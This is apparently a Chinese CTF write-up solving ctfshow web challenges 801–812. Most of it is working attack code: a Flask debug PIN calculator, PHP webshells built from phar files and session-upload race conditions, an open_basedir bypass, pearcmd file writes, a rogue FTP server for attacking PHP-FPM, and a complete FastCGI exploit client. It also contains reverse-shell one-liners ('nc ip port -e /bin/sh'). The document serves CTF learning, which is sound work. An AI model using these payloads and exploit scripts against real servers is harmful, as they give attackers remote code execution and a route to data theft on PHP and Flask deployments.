ctfshow 常见姿势
ctfshow 常见姿势
web801
flask pin值计算,读取文件,脚本计算pin码。梭哈
非预期:url/file?filename=/flag
预期:
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:0c:e8:a0'
address = int(address.replace(':', ''),16)
private_bits = [
f'{address}', # mac十进制值 /sys/class/net/eth0/address
'225374fa-04bc-4346-9f39-48fa82829ca934b345d280f694439fa54c01aa968eef81f55a7e5baa3e39db57884e39217606' # 看上面machine-id部分
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

web802
限制非字母数字,可以用字符,自增构造字符
构造$_GET[_]($_GET[__])
<?php
$___=((''/'').'')[''==_];# $___ = N
$____=((''/'').'')[''==''];# $____ = A
++$____;
++$____;
++$____;
$_____=++$____; # $_____ = E
++$____;
++$____;
$______ = $____; # $______ = G
++$___;++$___;++$___;++$___;++$___;
$_______=++$___; # $______ = T#
$________='_'.$______.$_____.$_______;
$$________[_]($$________[__]); # $_GET[_]($_GET[__])
简化
$___=((''/'').'')[''==_];$____=((''/'').'')[''==''];++$____;++$____;++$____;$_____=++$____;++$____;++$____;$______ = $____;++$___;++$___;++$___;++$___;++$___;$_______=++$___;$________='_'.$______.$_____.$_______;$$________[_]($$________[__]);
整个payload使用post发包,url编码一下,避免$,=具有特殊语意

web803
phar文件包含,第一次接触,后续详细学习一下
这里审计起来有点奇怪,不存在$file.txt就写一个$file,写了$file那$file.txt不还是不存在?通过file_put_contents函数直接写🐎不现实了,可以了解到这里可以通过phar打包一个$file.txt到服务器,使文件包含成为了可能
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
生成phar文件,里面打包一个a.txt,内容为<?php highlight_file(__FILE__);eval($_POST[1]);?>
<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
使用python发包
import requests
url="http://7fce7e3d-4206-4f91-b196-7536bde12046.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)
通过phar协议包含文件

web804
unlink会触发反序列化
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}
重点在hacker类析构函数存在命令执行
<?php
class hacker{
public $code = 'system("tac /f*;tac f*");';
}
$a=new hacker();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "111");
$phar->stopBuffering();
?>
python发包
import requests
url="http://4d03da6f-da2a-4b1e-beb3-b1ad422e3af6.challenge.ctf.show/"
data1={'file':'/tmp/aa.phar','content':open('shell.phar','rb').read()}
r = requests.post(url,data=data1)
print(r.text)

web805
通过phpinfo()函数回显看到限定了目录,禁用了系统命令函数
open_basedir /var/www/html
disable_classes SoapClient,mysqli,mysql,pdo,phar
disable_functions system,exec,shell_exec,passthru,popen,fopen,popen,pcntl_exe
参考文章open_basedir绕过
学习到一些姿势
通过glob://协议和原生类搭配利用,可以列出根目录文件

1=$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
printf($f->getFilename()." ");
}
尝试使用原生类读取,失败了。看了单是原生类绕不过去
$f = new SplFileObject("php://filter/convert.base64-encode/resource=/ctfshowflag");
echo $f->fread($f->getSize());
scandir()函数搭配glob://协议,也可以列出根目录文件
var_dump(scandir('glob:///*'));
一个绕过思路
在当前文件夹/var/www/html里建立了子文件夹test,进入了子文件夹test,利用ini_set函数,把/var/www/html下的子目录test下,使用ini_set函数设置..上一级目录,也就是/var/www/html目录
我的思考:这里的..存在双重含义
- /var/www/html
- ..
因此,产生了目录穿越的利用点,通过chdir函数一直切到了根目录,最后把open_basedir设置在了根目录,使highlight_file函数读取了flag成了可能
mkdir('test');
chdir('test');
var_dump(ini_set('open_basedir','..'));
chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');
var_dump(ini_set('open_basedir','/'));
highlight_file('ctfshowflag');
web806
php无参RCE
只能使用无参函数
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
好在在ctfshow命令执行题单中记录了一下payload,获取最后一个定义的变量并执行,程序里最后一个定义的无法控制,可以在post里传入一个来执行
eval(array_pop(next(get_defined_vars())));

web807
题目使用了shell_exec函数,想尝试写文件来着,好像没有写,只能弹个shell了
https://baidu.com;nc ip port -e /bin/sh;
web808
session文件包含,脚本条件竞争

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://092d8949-e4c3-4d0b-8478-240a371fd53c.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?file=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
web809
过滤的不够严格,上一题的脚本仍然可以跑

学习下题目的预期考察知识pear,很新奇,第一次碰到
引入P牛师傅原话
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事
先包含pear文件,利用php的命令行参数config-create写文件,所以payload:
payload里存在&,+等特殊字符,直接使用hackbar发包会被编码失去原意,导致执行失败,所以要使用bp发包
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=highlight_file(__FILE__);eval($_POST[1]);?>+/tmp/11
天马行空

web810
SSRF打PHP-FPM
项目地址https://github.com/tarunkant/Gopherus,工具下载地址:https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
mkdir web810
cd web810
wget https://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip
unzip master.zip
cd Gopherus-master
python2 gopherus.py --exploit fastcgi
拿到的payload,在gopher://127.0.0.1:9000/后的内容还需要再url编码一下


web811
file_put_contents打PHP-FPM
利用FTP协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
重点在,ftp协议连接目标服务器时,目标服务器可以指定使用ftp客户端的ip和端口
那么在file_put_contents($file, $content);函数这里,如果$file是远程ftp服务器,在服务端进行设置,让$file指向127.0.0.1:9000,使用gopherus生成一个对php-fpm利用的payload赋值给$content
这样在连接ftp服务器后,指定到127.0.0.1:9000,php-fpm接收到$content数据包时可以实现执行命令
远程开启ftp协议
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
# "127,0,0,1"PHP-FPM服务为受害者本地,"9000"为为PHP-FPM服务的端口号
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
利用gopherus生成payload
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
nc ip port -e /bin/sh
这一题只利用下划线后面的内容,不用再次url编码,上一题url编码是因为get传参会解码一次,curl函数会解码一次,所以要多编码一次

利用:
注意,ftp协议端口后面加个斜杠,代表访问根目录
url?file=ftp://ip:21/&content=payload

web812
PHP-FPM未授权
详细原理:PHP-FPM 远程命令执行漏洞
简单讲:PHP-FPM未授权访问漏洞,PHP-FPM的服务端口没有做鉴权认证,允许其他主机通过FastCGI协议连接到PHP-FPM,进行通信。可以通过修改fastcgi报文,实现修改php的配置文件内容,利用php的文件包含配置项auto_prepend_file、auto_append_file和php://input,实现恶意文件包含RCE
直接利用exp吧
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
exp用法:
python3 exp.py -c '<?php php代码?>' -p 端口 pwn.challenge.ctf.show 存在的php文件
文件包含,需要一个存在的php文件,最简单的来做,可以直接使用/var/www/html/index.php
payload:
python3 exp.py -c '<?php system("cat /f*");?>' -p 28141 pwn.challenge.ctf.show /var/www/html/index.php

除了index.php外,还可以本地docker复现一个与题目环境相同的php环境,在php的目录下,找存在的php文件尝试包含
docker run -d -p 80:80 --name myphp php:7.3-apache
进入容器命令行
docker exec -it myphp /bin/bash
ls /usr/local/lib/php/

尝试使用这些文件进行包含,发现**cmd.php文件不能直接用来包含,需要更改配置文件,System.php、PEAR.php可以


对于**cmd.php文件,需要更改配置项register_argc_argv=On,应该也是可以在fastcgi报文里实现的吧?(x)
可以在这里取经
参考: